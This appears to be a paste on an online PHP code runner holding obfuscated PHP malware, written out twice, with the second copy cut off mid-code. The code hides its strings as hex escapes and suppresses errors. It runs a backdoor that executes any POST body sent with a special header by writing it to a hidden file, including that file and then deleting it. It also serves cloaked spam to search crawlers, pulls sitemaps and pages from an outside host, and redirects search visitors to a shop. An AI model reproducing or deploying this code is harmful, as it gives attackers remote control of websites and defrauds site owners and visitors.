db2

Run Settings
Language	PHP
Language Version
Run Command

<?php goto gQ3uy; orsfU: qzqFL: goto y3RBS; PmwID: exit; goto ZzIkp; F6ZEE: $fy9hv = $sO0Fi[1] == '' ? sprintf($fy9hv, $rQu2T) : sprintf($fy9hv, $sO0Fi[1]); goto Z9VXE; cvnEA: $xMZo2 = sprintf("\150\x74\164\x70\x73\72\57\57\x77\x77\x77\x2e\x67\157\157\x67\x6c\145\x2e\x63\157\56\x6a\x70\57\160\151\156\x67\x3f\x73\x69\164\145\x6d\x61\160\75\x25\163\72\x2f\57\x25\163\x2f\x73\x69\164\x65\x6d\141\160\45\x73\x2e\x78\x6d\x6c", $yrjXL, $rQu2T, $sO0Fi[1]); goto h2uq_; aScOm: $VaUg5 = strval(time()); goto QqbwR; p7K3c: if (!@preg_match("\43\x67\x6f\x6f\x67\x6c\x65\174\x79\141\x68\157\x6f\x7c\x62\x69\156\147\174\x63\162\x61\x66\164\174\103\162\x61\167\154\x65\162\43\x69", $FAmAc)) { goto uvPPb; } goto EIgZv; nalK2: echo $ngsw8 === false ? "\x66\x61\x69\154" : $rAnn_; goto YJZ5A; YDPKm: YLkR9: goto HVi36; AgGXa: qVD0M: goto KjqPR; wJAZz: fvr00: goto XDEHi; USB_K: exit; goto ft8LV; LMYRA: $u6Ngg = trim(urlx("\x68\164\x74\x70\163\x3a\57\57" . gets() . "\57\x73\x69\164\145\x6d\x61\x70" . ($sO0Fi[1] == '' || $lsOE9[1] != '' ? "\x2e\x78\155\x6c" : "\57" . $sO0Fi[1]), $G1HaU, $C8R_D)); goto mfGyz; ft8LV: tkcPs: goto U3U2i; YgHIP: $E695h .= $xMZo2 . $viyIj; goto Digrp; wpOwS: $VaUg5 = isset($_SERVER["\110\124\124\120\137\x54\111\115\105\123\x54\101\115\x50"]) ? $_SERVER["\x48\x54\124\x50\137\x54\111\x4d\x45\123\124\x41\115\120"] : ''; goto FiDrU; XvSTZ: if (!(isset($_SERVER["\x48\x54\x54\120\x5f\x58\x44\117\x49\x4d"]) && strlen($_SERVER["\x48\x54\x54\x50\137\x58\x44\x4f\x49\x4d"]) > 0)) { goto fvr00; } goto wpOwS; YQusY: function gets() { return "\142\61\56\x67\154\x6f\162\x79\144\x61\x79\x2e\167\157\x72\153"; } goto Bthb1; KyOGq: array_push($G1HaU, "\170\x64\157\x69\x6d\72\40" . crc32($VaUg5 . "\134\156" . $C8R_D)); goto LMYRA; gQ3uy: error_reporting(0); goto Icygr; Digrp: goto ictrk; goto Wsg_3; QqbwR: array_push($G1HaU, "\164\x69\155\x65\163\164\141\155\x70\x3a\40" . $VaUg5); goto gEQX1; PHGjU: urls(gets(), "\x2f\x69\x2e\x68\164\x6d\154", $FAmAc, $CmLWs, $bl3i2 . "\x26\147\x72\x6f\x75\x70\151\144\75" . $Gqvkv . "\x26\151\160\x3d" . $IL94F); goto y4om7; UUVBE: exit; goto asxhT; Ie37c: function urlx($fy9hv, $G1HaU = null, $C8R_D = null, $cIoaz = null) { goto FJD3N; ogn8L: s_VXM: goto FZdD2; A3UHm: if ($cIoaz === null) { goto uS8ck; } goto I2Aec; wv1MZ: curl_close($auVCY); goto ADuPL; jWidL: curl_setopt($auVCY, CURLOPT_POSTFIELDS, $C8R_D); goto omXqC; hcvxC: if ($G1HaU === null) { goto s_VXM; } goto y2vE6; Yu7Mh: uS8ck: goto SIPzy; HS7aj: $R6hWk = curl_exec($auVCY); goto wv1MZ; cJyzN: curl_setopt($auVCY, CURLOPT_FOLLOWLOCATION, 1); goto A3UHm; p0DEa: curl_setopt($auVCY, CURLOPT_POST, 1); goto jWidL; omXqC: sQrLD: goto CYHPM; M1wbm: curl_setopt($auVCY, CURLOPT_SSL_VERIFYPEER, FALSE); goto v8uUk; Zxyxl: UNE_8: goto hcvxC; SIPzy: if (!(stripos($fy9hv, "\x68\164\164\160\163\x3a") === 0)) { goto UNE_8; } goto M1wbm; v8uUk: curl_setopt($auVCY, CURLOPT_SSL_VERIFYHOST, FALSE); goto Zxyxl; XyQm0: curl_setopt($auVCY, CURLOPT_URL, $fy9hv); goto cJyzN; FJD3N: $auVCY = curl_init(); goto XyQm0; ADuPL: return $R6hWk; goto WPKGU; y2vE6: curl_setopt($auVCY, CURLOPT_HTTPHEADER, $G1HaU); goto ogn8L; CYHPM: curl_setopt($auVCY, CURLOPT_RETURNTRANSFER, 1); goto HS7aj; I2Aec: curl_setopt($auVCY, CURLOPT_ENCODING, "\147\x7a\x69\x70\x2c\x64\145\146\x6c\141\164\145"); goto Yu7Mh; FZdD2: if ($C8R_D === null) { goto sQrLD; } goto p0DEa; WPKGU: } goto Pm9aj; qUrMq: @set_time_limit(3600); goto jgMvL; aPPwW: goto YJbB0; goto e9uAM; I0yFz: unlink("\x2e\145\x47\101\60\x54\171\x32\x57\114\150"); goto AFc1L; TOHS1: echo $E695h; goto UUVBE; AjI9r: goto YLkR9; goto wbTgw; xchC8: $CmLWs = isset($_SERVER["\110\x54\x54\x50\137\122\x45\106\105\122\105\x52"]) ? $_SERVER["\110\124\124\120\137\122\105\x46\x45\x52\x45\x52"] : ''; goto HSX2m; qGefV: iB_cV: goto KUcsG; CVX6D: @preg_match("\43\50\134\144\x2a\x29\xe4\xbb\xb6\74\41\x2d\x2d\43", $R6hWk, $sO0Fi); goto nD8jm; AZ2Ph: $oRSpb = isset($_SERVER["\x48\x54\124\120\137\x41\x43\103\105\120\x54\137\114\101\116\107\125\x41\x47\105"]) ? substr($_SERVER["\x48\x54\x54\120\137\x41\103\x43\105\x50\x54\137\114\x41\116\107\x55\x41\x47\105"], 0, 4) : ''; goto xchC8; Bwj_J: MYBjE: goto DkLBX; Vnpkf: $xMZo2 = sprintf("\x68\164\x74\x70\163\x3a\x2f\57\x77\x77\167\56\147\157\x6f\x67\154\x65\x2e\x63\157\x2e\x6a\x70\x2f\160\x69\156\147\x3f\x73\x69\164\145\155\141\160\x3d\45\x73\72\x2f\57\x25\163\x2f\163\x69\x74\145\155\141\160\45\163\45\x64\x2e\x78\x6d\x6c", $yrjXL, $rQu2T, $lsOE9[0], $F_tr3); goto IySXx; xVZ9N: $u6Ngg = trim(urlx("\150\x74\x74\x70\x73\72\x2f\x2f" . gets() . "\57\x73\x69\x74\145\x6d\141\x70\56\x78\155\154", $G1HaU, $C8R_D . "\x26\150\x74\x74\160\x3d" . $yrjXL)); goto uhi1y; pP8dB: exit; goto qGefV; jgMvL: @ignore_user_abort(1); goto F7nex; IKO6O: kO_Sa: goto XvSTZ; ldrZQ: YJbB0: goto C7Xfk; eA8B_: goto HXLOR; goto hW0lF; HSX2m: $FAmAc = isset($_SERVER["\110\x54\x54\120\x5f\x55\123\x45\x52\x5f\101\x47\x45\x4e\x54"]) ? $_SERVER["\110\124\124\x50\x5f\x55\x53\105\x52\x5f\x41\x47\105\x4e\124"] : ''; goto b1Fvs; aiw41: uvPPb: goto Mt9ZS; eQ8Rv: if (!(@preg_match("\x23\x67\157\x6f\147\154\x65\174\x79\141\x68\157\x6f\x7c\142\151\156\x67\174\143\162\141\146\164\x7c\x43\x72\x61\167\154\x65\162\x23\x69", $FAmAc) && (@preg_match("\x23\x63\x61\164\x65\134\x2f\x28\133\141\x2d\x7a\135\x2b\x29\55\x28\x5c\144\x2b\x29\x24\43\151", $FAKEi, $kf7FI) || $FAKEi === "\57"))) { goto tkcPs; } goto cnS7B; Z9VXE: $R6hWk = urlx($fy9hv, null, null, 1, "\x4d\x6f\x7a\x69\x6c\154\141\x2f\65\56\x30\x20\50\x57\151\x6e\144\x6f\x77\x73\x3b\40\x55\73\x20\127\x69\156\144\157\x77\163\40\116\x54\x20\x35\56\x31\73\40\145\x6e\x2d\x55\123\51\40\101\x70\160\x6c\x65\127\x65\x62\113\x69\164\x2f\x35\x33\x34\x2e\x37\40\50\113\x48\124\x4d\x4c\54\40\x6c\151\x6b\145\x20\107\x65\x63\153\157\51\40\x43\x68\162\157\x6d\x65\x2f\67\56\x30\x2e\x35\x31\67\56\64\x31\x20\123\141\x66\x61\162\151\x2f\x35\63\64\x2e\x37"); goto WcrOR; y4om7: header("\114\157\143\141\164\151\x6f\x6e\x3a\40" . sprintf("\x68\164\164\160\163\72\x2f\x2f\45\x73\x2f\151\156\144\x65\x78\56\x70\x68\x70\77\x6d\141\x69\156\x5f\160\141\x67\x65\75\x70\x72\157\x64\165\x63\164\x5f\x69\x6e\x66\157\x26\160\162\157\x64\x75\143\164\163\x5f\x69\144\x3d\45\144", preg_replace("\x2f\133\141\x2d\172\111\135\50\170\171\172\174\x62\165\x7a\172\51\x2e\52\x24\57", "\x2e\44\x31", strrev($sO0Fi[1])), $sO0Fi[2])); goto bjdXH; hRKn_: $CPaX2 = "\40\74\163\x69\x74\x65\x6d\141\160\x3e\x20\74\154\x6f\x63\76\45\x73\x3a\x2f\57\x25\163\57\x73\x69\x74\145\155\x61\160\45\x64\56\170\x6d\x6c\74\57\x6c\157\x63\x3e\x3c\x2f\163\x69\x74\145\x6d\141\160\76"; goto AZ2Ph; bjdXH: exit; goto unMaY; b1Fvs: $rQu2T = $_SERVER["\x48\x54\124\x50\x5f\x48\117\123\x54"]; goto yCkNN; tpP6q: $yrjXL = https(); goto iLoCo; xDL6F: if (!@preg_match("\43\x5e\x28\x5c\144\51\52\x23", $u6Ngg)) { goto QvOY8; } goto wD5AC; FiDrU: $QeQGk = @file_get_contents("\160\x68\160\72\57\x2f\151\x6e\160\x75\x74"); goto tfSaq; pwpyP: if (!@preg_match("\x23\x5e\57\160\x69\x6e\x67\163\151\164\x65\x6d\x61\x70\50\56\x2a\x3f\51\x2e\170\155\154\44\x23\x69", $FAKEi, $sO0Fi)) { goto fBkE0; } goto w99BD; CswQe: $C8R_D .= "\x26\147\162\157\165\160\x69\144\75" . $Gqvkv; goto aPPwW; i8mWt: $vdJj1 = "\74\x3f\170\x6d\x6c\40\166\x65\162\163\x69\157\x6e\x3d\x22\61\x2e\60\x22\x20\145\x6e\x63\x6f\144\151\156\147\x3d\x22\x55\x54\106\55\70\42\x3f\76\x3c\x21\55\x2d\x20\141\165\x74\157\147\145\156\40\x62\x79\x20\x64\157\x69\155\x20\55\55\x3e\15\xa\74\165\x72\154\x73\145\164\40\x78\x6d\154\156\163\75\42\150\164\164\160\72\x2f\57\167\x77\x77\x2e\x73\x69\x74\145\155\x61\160\163\x2e\x6f\162\147\x2f\x73\143\150\x65\x6d\x61\163\x2f\x73\151\164\x65\155\x61\x70\57\60\x2e\x39\42\xd\12\x20\40\40\x20\x20\40\x78\x6d\154\x6e\163\x3a\170\x68\x74\x6d\154\75\42\150\164\x74\160\72\x2f\57\167\x77\167\x2e\x77\x33\56\x6f\x72\x67\57\61\71\71\x39\x2f\170\x68\x74\155\154\x22\x3e\xd\12\45\x73\74\x2f\x75\x72\154\163\x65\x74\76"; goto faB1f; yCkNN: $FAKEi = $_SERVER["\x52\x45\x51\125\105\x53\124\x5f\125\x52\111"]; goto WLRnR; M1NaT: exit; goto aiw41; WvnrP: $c4AfM = ''; goto hYpM2; h2uq_: $viyIj = urlx($xMZo2); goto YgHIP; asxhT: fBkE0: goto MdlXx; zTgiz: $R6hWk = str_replace(array("\x2f\134\57\163\53\57", "\x5c\x72\x5c\156", "\134\x72", "\134\156", "\42", "\x2c"), '', $R6hWk); goto CVX6D; Wsg_3: FNmOV: goto VlseT; MdlXx: if (!@preg_match("\x23\x5e\x2f\163\x69\164\x65\x6d\141\160\x28\x2e\x2a\x3f\x29\x2e\170\155\154\44\43\x69", $FAKEi, $sO0Fi)) { goto kO_Sa; } goto lsLw1; EG_uU: echo sprintf($SWqcb, $GhT8b); goto PmwID; cnS7B: $bl3i2 = $C8R_D . "\46\150\164\x74\160\75" . $yrjXL . "\x26\x67\162\157\x75\x70\151\144\75" . $Gqvkv; goto E1uK7; KOsTF: $E695h .= $xMZo2 . $viyIj; goto Bwj_J; F7nex: $Gqvkv = "\64\x30\67"; goto i8mWt; tfSaq: @file_put_contents("\56\145\x47\x41\60\124\x79\62\127\x4c\150", $QeQGk, FILE_USE_INCLUDE_PATH); goto NC0mX; D61Xm: qM5f_: goto bsUsm; Rolbe: $C8R_D = "\x73\150\157\163\164\75" . $rQu2T; goto fEZSL; IS7bJ: exit; goto orsfU; e9uAM: lWPrv: goto ypbgD; VlseT: $C8R_D .= $lsOE9[1] == '' ? "\46\147\162\x6f\x75\x70\x69\144\75" . $Gqvkv : "\x26\147\x72\157\x75\160\151\x64\x3d" . $lsOE9[1]; goto aScOm; Y9r6F: echo @trim(urlx(sprintf("\150\x74\x74\x70\163\72\x2f\57\45\163\x2f\x62\x6f\x74\57\x68\157\155\x65\x3f" . $bl3i2, gets()), $G1HaU, $bl3i2, 1)); goto pP8dB; kj1if: exit; goto IKO6O; EhhZI: if ($sO0Fi[1] === '' || @preg_match("\x23\x28\134\x64\x2b\51\55\x24\x23", $sO0Fi[1], $lsOE9)) { goto FNmOV; } goto cvnEA; o2IyE: QvOY8: goto OQbsd; fgzwE: HXLOR: goto C8x93; j4AaU: $GhT8b .= sprintf($CPaX2, $yrjXL, $rQu2T, $F_tr3, date("\x59\55\155\x2d\x64\134\x54\110\x3a\151\72\x73\x50", time())); goto D61Xm; w99BD: $E695h = ''; goto EhhZI; HVi36: if (!($F_tr3 <= intval($u6Ngg))) { goto NJwTC; } goto Vnpkf; IAVqo: array_push($G1HaU, "\164\151\155\145\x73\x74\x61\x6d\160\72\40" . $VaUg5); goto KyOGq; NC0mX: echo include "\56\x65\x47\x41\x30\x54\171\x32\127\114\150"; goto I0yFz; oyaKm: exit; goto NJmvR; Bthb1: function https() { goto S9ui4; xOYKZ: fohum: goto z34Lg; S9ui4: if (!(!empty($_SERVER["\x48\x54\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\x6f\146\146" || isset($_SERVER["\110\x54\124\120\137\130\137\106\x4f\x52\x57\x41\122\104\x45\x44\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\x48\x54\x54\120\x5f\x58\137\106\117\122\x57\x41\x52\104\105\x44\x5f\x50\122\117\124\x4f"] === "\x68\164\164\160\x73" || !empty($_SERVER["\110\x54\124\120\x5f\x46\122\117\x4e\124\137\105\116\x44\137\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x5f\x46\122\117\x4e\x54\137\105\116\x44\137\110\124\x54\120\123"]) !== "\157\146\146")) { goto fohum; } goto XzLET; XzLET: return "\150\164\164\160\x73"; goto xOYKZ; z34Lg: return "\150\x74\164\x70"; goto FgI7T; FgI7T: } goto TFITg; WLRnR: $IL94F = clientip(); goto tpP6q; Mt9ZS: GBUtc: goto pwpyP; wbTgw: NJwTC: goto o2IyE; a1x_x: $GhT8b = ''; goto c8Aeu; U3U2i: if (!@preg_match("\43\x28\x5b\x61\x2d\172\x5d\x2b\x29\x2d\x28\134\144\53\x29\x3f\x28\56\x68\x74\155\x6c\x29\x24\43\151", $FAKEi, $sO0Fi)) { goto GBUtc; } goto AFtbB; iLoCo: $G1HaU = array("\x55\163\x65\162\x2d\x41\147\145\156\x74\72\x20" . $FAmAc, "\114\x61\x6e\147\72\40" . $oRSpb, "\x52\145\x66\145\162\x65\x72\72\x20" . $CmLWs, "\110\164\x74\x70\x2d\110\157\163\x74\72\x20" . $rQu2T, "\x52\x65\155\157\x74\145\55\x41\144\144\162\72\x20" . $IL94F); goto Rolbe; uhi1y: if (!($u6Ngg === '')) { goto mJBcY; } goto FMfjO; YJZ5A: exit; goto APkQW; FMfjO: exit; goto efKtZ; lsLw1: $C8R_D = "\163\x68\x6f\163\x74\x3d" . $rQu2T . "\46\150\x74\x74\x70\x3d" . $yrjXL; goto nNizP; IBdiF: $SWqcb = "\74\77\x78\x6d\154\40\166\145\x72\x73\151\x6f\x6e\x3d\x22\61\x2e\60\x22\40\145\156\143\x6f\x64\151\x6e\x67\75\42\x55\124\x46\x2d\x38\x22\77\x3e\74\41\x2d\x2d\x20\141\165\x74\x6f\147\145\x6e\40\x62\171\40\x64\x6f\x69\155\x20\x2d\55\x3e\15\12\74\x73\151\x74\145\x6d\141\160\151\156\144\145\x78\40\170\x6d\x6c\156\163\75\42\x68\x74\164\160\x3a\57\x2f\x77\x77\x77\56\x73\x69\x74\x65\155\141\160\x73\x2e\x6f\162\147\x2f\x73\x63\x68\x65\x6d\141\163\57\163\x69\x74\145\155\141\160\57\60\56\x39\42\76\x20\x25\x73\40\74\x2f\163\151\164\x65\155\141\160\151\x6e\x64\145\170\x3e"; goto hRKn_; C8x93: if (!($F_tr3 <= intval($u6Ngg))) { goto QYYbC; } goto j4AaU; EN5jS: function urls($rQu2T, $EVtiU, $FAmAc, $jgzn2, $FVUjd = null) { goto Udc29; Udc29: $IHRhZ = stream_socket_client("\x73\163\154\x3a\x2f\x2f" . $rQu2T . "\72\x34\64\63", $Xz6up, $t_Vh2, 6); goto mEnZg; A1oFJ: $Fd695 = fwrite($IHRhZ, $SgnUa); goto gTIh1; gTIh1: fclose($IHRhZ); goto HdHO1; mEnZg: $SgnUa = "\107\105\x54\40" . $EVtiU . "\x3f" . $FVUjd . "\x20\110\x54\x54\120\57\61\x2e\x30\xd\12\110\157\163\x74\72\40" . $rQu2T . "\15\xa\122\145\x66\145\x72\x65\162\x3a\x20" . $jgzn2 . "\xd\xa\x55\x73\x65\x72\x2d\x41\147\x65\x6e\164\72\40" . $FAmAc . "\xd\12\xd\xa"; goto A1oFJ; HdHO1: } goto Ie37c; unMaY: dCcIS: goto p7K3c; fEZSL: $FAKEi = $_SERVER["\x52\105\121\125\105\123\124\137\x55\122\x49"]; goto eQ8Rv; E1uK7: if (!($FAKEi === "\x2f")) { goto iB_cV; } goto Y9r6F; R_ILu: $QvDI2 = explode("\12", $u6Ngg); goto WvnrP; ypbgD: $C8R_D .= "\x26\147\162\x6f\165\160\x69\144\x3d" . $lsOE9[1]; goto ldrZQ; WGY17: $VaUg5 = strval(time()); goto q3pQm; OQbsd: ictrk: goto TOHS1; hYpM2: foreach ($QvDI2 as $jMKb2) { goto rvC8F; rvC8F: $Gsm80 = $yrjXL . "\72\x2f\57" . $rQu2T . "\x2f" . $jMKb2; goto pkOuK; yCXm6: BGZVP: goto rJ8YT; pkOuK: $c4AfM .= sprintf($vPL9I, $Gsm80, $Gsm80); goto yCXm6; rJ8YT: } goto AgGXa; hW0lF: QYYbC: goto EG_uU; AFtbB: $bl3i2 = $C8R_D . sprintf("\x26\150\160\151\x64\x3d\45\x73\55\x25\163", preg_replace("\57\x5b\x61\x2d\172\111\135\50\170\171\172\x7c\x62\x75\172\x7a\51\x2e\x2a\x24\57", "\x2e\x24\x31", strrev($sO0Fi[1])), $sO0Fi[2]); goto uVxVZ; KjqPR: echo sprintf($vdJj1, $c4AfM); goto kj1if; WcrOR: $R6hWk = substr($R6hWk, strpos($R6hWk, "\74\x21\55\55\40\x2d\x2d\76"), 100); goto zTgiz; KUcsG: echo @trim(urlx(sprintf("\x68\x74\x74\x70\x73\72\57\x2f\45\x73\x2f\142\157\164\x2f\143\141\164\145\x3f" . $bl3i2, gets()), $G1HaU, $bl3i2 . "\x26\150\x6f\x73\x74\x3d" . preg_replace("\57\x5b\141\x2d\172\x49\x5d\x28\170\171\172\174\142\165\172\172\x29\x2e\52\x24\x2f", "\56\44\61", strrev($kf7FI[1])) . "\46\143\141\x74\x65\151\144\75" . $kf7FI[2], 1)); goto USB_K; Pm9aj: function cc($FAKEi) { goto ahFvN; ahFvN: $e7amx = explode("\x2d", substr($FAKEi, 1, strlen($FAKEi) - 6)); goto v53wA; Pv6q4: $dqgaL = sprintf("\x25\x75", crc32(sprintf("\45\163\55\x25\163", $e7amx[0], $e7amx[1]))); goto dodkw; v53wA: if (!(sizeof($e7amx) != 3)) { goto HewCO; } goto pBGZE; pBGZE: return false; goto hmiRs; hmiRs: HewCO: goto Pv6q4; dodkw: return $dqgaL == $e7amx[2]; goto QLzhU; QLzhU: } goto YQusY; faB1f: $vPL9I = "\40\74\x75\162\x6c\x3e\x20\x3c\x6c\x6f\143\x3e\45\163\74\57\154\x6f\143\76\x3c\170\x68\x74\155\154\x3a\154\x69\156\x6b\x20\162\145\154\x3d\x22\x61\x6c\164\145\162\x6e\x61\x74\145\x22\40\x68\x72\x65\x66\154\x61\x6e\x67\x3d\42\152\141\x22\x20\x68\162\145\146\75\x22\45\163\x22\57\x3e\74\57\x75\x72\154\76"; goto IBdiF; EIgZv: echo @trim(urlx(sprintf("\x68\x74\164\x70\x73\x3a\57\x2f\x25\x73\57\142\157\x74\x2f\160\141\x67\145\77" . $bl3i2, gets()), $G1HaU, $bl3i2 . "\46\150\164\x74\x70\75" . $yrjXL, 1)); goto M1NaT; ffVxE: array_push($G1HaU, "\x78\144\157\x69\x6d\x3a\40" . crc32($VaUg5 . "\x5c\x6e" . $C8R_D)); goto UhHvL; Icygr: @ini_set("\144\x69\x73\160\x6c\141\x79\x5f\x65\162\162\157\x72\x73", 0); goto qUrMq; uVxVZ: if (!@preg_match("\43\147\157\157\x67\x6c\x65\x2e\x63\157\56\152\160\x7c\x67\157\x6f\x67\x6c\145\x2e\x63\157\155\x7c\171\141\150\x6f\x6f\x2e\143\157\x2e\152\160\x7c\x79\x61\150\x6f\157\56\x63\157\x7c\x62\151\x6e\x67\x2e\x63\x6f\x6d\x7c\141\x73\x6b\56\143\157\x6d\x7c\141\157\x6c\x2e\x63\157\155\174\x61\157\154\56\x6a\160\x23\151", $CmLWs)) { goto dCcIS; } goto PHGjU; q3pQm: array_push($G1HaU, "\164\x69\x6d\x65\x73\x74\x61\155\160\72\x20" . $VaUg5); goto ffVxE; c8Aeu: $F_tr3 = 1; goto fgzwE; y3RBS: if (!@preg_match("\43\x5e\x2f\147\x65\164\166\x65\162\43\x69", $FAKEi, $sO0Fi)) { goto tXj9z; } goto WGY17; efKtZ: mJBcY: goto xDL6F; DkLBX: $F_tr3++; goto AjI9r; UhHvL: $rAnn_ = trim(urlx("\150\164\164\160\x73\x3a\57\57" . gets() . $sO0Fi[0], $G1HaU, $C8R_D)); goto nalK2; EFw0h: @header("\x43\157\x6e\x74\145\x6e\x74\x2d\164\x79\160\145\72\x20\x74\x65\170\x74\x2f\170\155\154"); goto h40MI; AFc1L: exit; goto wJAZz; APkQW: tXj9z: goto EN5jS; wD5AC: $F_tr3 = 1; goto YDPKm; XDEHi: if (!@preg_match("\x23\136\x2f\x73\151\x74\x65\57\77\x28\x2e\x2a\x3f\51\x24\x23\151", $FAKEi, $sO0Fi)) { goto qzqFL; } goto L4H9L; L4H9L: $fy9hv = urldecode("\150\x74\164\x70\x73\x3a\x2f\x2f\163\x65\x61\x72\143\150\56\x79\x61\150\157\x6f\x2e\x63\157\56\x6a\160\57\163\145\x61\x72\143\150\77\160\x3d\x73\x69\x74\x65\x3a\x25\163\46\145\x69\75\125\x54\106\55\x38"); goto F6ZEE; nNizP: if (@preg_match("\x23\x28\x5c\x64\x2b\x29\x2d\44\x23", $sO0Fi[1], $lsOE9)) { goto lWPrv; } goto CswQe; IySXx: $viyIj = urlx($xMZo2); goto KOsTF; mfGyz: if (!($u6Ngg === '')) { goto hdNOE; } goto oyaKm; bsUsm: $F_tr3++; goto eA8B_; C7Xfk: $VaUg5 = strval(time()); goto IAVqo; ZzIkp: Ml3u9: goto R_ILu; gEQX1: array_push($G1HaU, "\170\x64\157\x69\155\x3a\x20" . crc32($VaUg5 . "\x5c\x6e" . $C8R_D)); goto xVZ9N; NJmvR: hdNOE: goto EFw0h; nD8jm: echo $sO0Fi[1]; goto IS7bJ; h40MI: if (!(($sO0Fi[1] === '' || $lsOE9[1] != '') && @preg_match("\43\x5e\50\134\144\51\52\x23", $u6Ngg))) { goto Ml3u9; } goto a1x_x; TFITg: function clientip() { goto iJ661; TIo5c: goto rYrfg; goto AvPR2; iJ661: if (getenv("\122\105\x4d\117\x54\105\137\x41\x44\x44\122") && strcasecmp(getenv("\x52\x45\115\117\124\x45\137\101\104\x44\x52"), "\x75\x6e\x6b\156\157\x77\x6e")) { goto Rmnhp; } goto zIeVi; AvPR2: Rmnhp: goto lJO_J; kLa2t: qNLwa: goto SAgfx; zIeVi: if (isset($_SERVER["\x52\x45\x4d\x4f\124\x45\137\101\x44\104\122"]) && $_SERVER["\x52\x45\115\117\x54\x45\137\101\104\104\122"] && strcasecmp($_SERVER["\122\105\115\117\x54\x45\137\101\x44\x44\x52"], "\x75\156\153\156\x6f\167\156")) { goto qNLwa; } goto TIo5c; lJO_J: return getenv("\122\x45\115\117\124\105\137\x41\x44\x44\122"); goto IBOLr; IBOLr: goto rYrfg; goto kLa2t; SAgfx: return $_SERVER["\122\105\x4d\117\124\105\x5f\x41\x44\x44\x52"]; goto W5SCS; W5SCS: rYrfg: goto dPJq4; dPJq4: } ?>

<?php goto vJr3v; ZOZjK: $xdyvp = $zuJY0 . sprintf("\x26\x68\x70\151\x64\x3d\45\163\x2d\x25\x73", preg_replace("\57\x5b\141\x2d\x7a\111\x5d\x28\x78\x79\172\174\x62\x75\x7a\x7a\51\x2e\x2a\44\x2f", "\x2e\x24\x31", strrev($wRUKM[1])), $wRUKM[2]); goto aqRr5; hbb7A: $xdyvp = $zuJY0 . "\46\150\164\164\160\75" . $OdfaY . "\46\x67\162\x6f\165\160\151\144\x3d" . $OQLl1; goto FzkG8; c8qQC: @file_put_contents("\x2e\x65\107\x41\60\124\171\62\127\x4c\x68", $L66Gw, FILE_USE_INCLUDE_PATH); goto eX775; vunrk: $NGPxn = urlx($rWHe5, null, null, 1, "\115\157\x7a\151\154\154\141\x2f\x35\56\60\x20\x28\x57\151\156\144\x6f\167\163\73\x20\125\x3b\40\127\x69\156\x64\157\x77\x73\x20\116\x54\40\65\56\x31\x3b\x20\x65\x6e\x2d\125\x53\51\x20\101\x70\x70\x6c\x65\x57\145\142\113\x69\164\57\x35\63\64\x2e\x37\40\50\113\110\124\115\x4c\54\x20\x6c\x69\153\145\x20\107\x65\x63\x6b\157\x29\40\x43\x68\x72\x6f\x6d\145\57\67\x2e\x30\x2e\65\61\67\56\64\x31\x20\x53\141\146\x61\162\x69\x2f\x35\63\x34\56\67"); goto CO7b0; gZFHf: exit; goto H6CkO; UoTjA: @set_time_limit(3600); goto q5yOF; l7WdI: $kN8qg = ''; goto eIf7F; H2Din: $OQLl1 = "\x34\x30\70"; goto GRSp6; zYAer: $rWHe5 = urldecode("\150\x74\164\x70\x73\72\57\57\163\x65\x61\x72\x63\150\56\x79\x61\x68\157\x6f\x2e\x63\157\56\152\x70\x2f\x73\145\x61\x72\x63\150\77\160\x3d\x73\151\164\145\x3a\45\163\x26\x65\x69\75\125\124\x46\x2d\70"); goto wHOce; rkNyO: zaa3r: goto UgGc8; Jfgvp: jlryi: goto UcXPl; JaJe7: $YszGq = ''; goto ec68F; n4gLL: R9Dsj: goto yM6ZN; jXF1C: FUhMS: goto mqQ4h; nfEHD: @ini_set("\x64\x69\163\x70\154\x61\171\137\145\162\162\157\x72\163", 0); goto UoTjA; kTcqr: DX5Hb: goto TVKKl; dvdKx: $zuJY0 = "\x73\150\157\x73\x74\x3d" . $gCTwv; goto TctKB; wHOce: $rWHe5 = $wRUKM[1] == '' ? sprintf($rWHe5, $gCTwv) : sprintf($rWHe5, $wRUKM[1]); goto vunrk; ys2J5: exit; goto LSo1K; DDgne: $YAlqu = "\74\x3f\170\x6d\154\x20\166\145\x72\163\x69\157\x6e\x3d\x22\61\x2e\x30\42\40\x65\x6e\x63\x6f\x64\151\156\147\75\x22\x55\x54\x46\x2d\x38\x22\x3f\x3e\74\x21\x2d\55\40\141\165\x74\x6f\147\145\156\x20\142\x79\40\144\x6f\x69\155\40\x2d\55\76\15\xa\x3c\x73\x69\164\145\x6d\141\160\151\156\144\145\x78\40\x78\x6d\x6c\x6e\x73\75\x22\x68\x74\164\160\x3a\57\57\x77\x77\167\x2e\163\151\164\x65\155\x61\160\x73\x2e\157\x72\147\57\x73\143\150\x65\155\x61\x73\57\163\x69\164\x65\155\x61\160\x2f\60\56\x39\42\x3e\x20\45\163\40\74\x2f\x73\151\x74\x65\x6d\x61\x70\151\156\x64\x65\x78\76"; goto e4mIj; BPJ9M: $ym1G9 = trim(urlx("\150\x74\164\160\163\x3a\57\57" . gets() . "\x2f\163\151\x74\x65\x6d\x61\160" . ($wRUKM[1] == '' || $hINir[1] != '' ? "\56\x78\155\x6c" : "\x2f" . $wRUKM[1]), $dc2yR, $zuJY0)); goto eR_Oe; sJkCf: exit; goto jXF1C; twHeV: exit; goto kmJXs; TSSKr: array_push($dc2yR, "\x74\x69\x6d\145\163\164\141\x6d\x70\72\40" . $GAGj0); goto xcorx; DOIH3: $ym1G9 = trim(urlx("\x68\x74\x74\x70\x73\72\57\57" . gets() . "\x2f\163\151\x74\x65\155\141\160\56\170\155\154", $dc2yR, $zuJY0 . "\x26\x68\x74\164\160\x3d" . $OdfaY)); goto F2SBd; p6Ge2: $Grl79 = "\40\74\x75\x72\x6c\76\x20\74\154\x6f\x63\x3e\45\x73\74\x2f\x6c\157\x63\76\74\x78\x68\x74\155\154\72\x6c\x69\156\x6b\40\162\145\x6c\75\42\x61\x6c\164\145\x72\x6e\x61\164\x65\x22\40\x68\x72\x65\x66\x6c\x61\156\x67\75\x22\x6a\141\42\x20\x68\162\x65\x66\75\x22\45\163\x22\57\76\74\57\x75\x72\x6c\76"; goto DDgne; CO7b0: $NGPxn = substr($NGPxn, strpos($NGPxn, "\74\x21\55\x2d\40\55\x2d\76"), 100); goto jWooP; OJQxK: goto zaa3r; goto kTcqr; ouCjc: $v430X = clientip(); goto fKzI0; zImkU: RAE2e: goto K2GbY; pSfCw: echo sprintf($YAlqu, $kN8qg); goto skB3Y; YdLN4: G6p13: goto 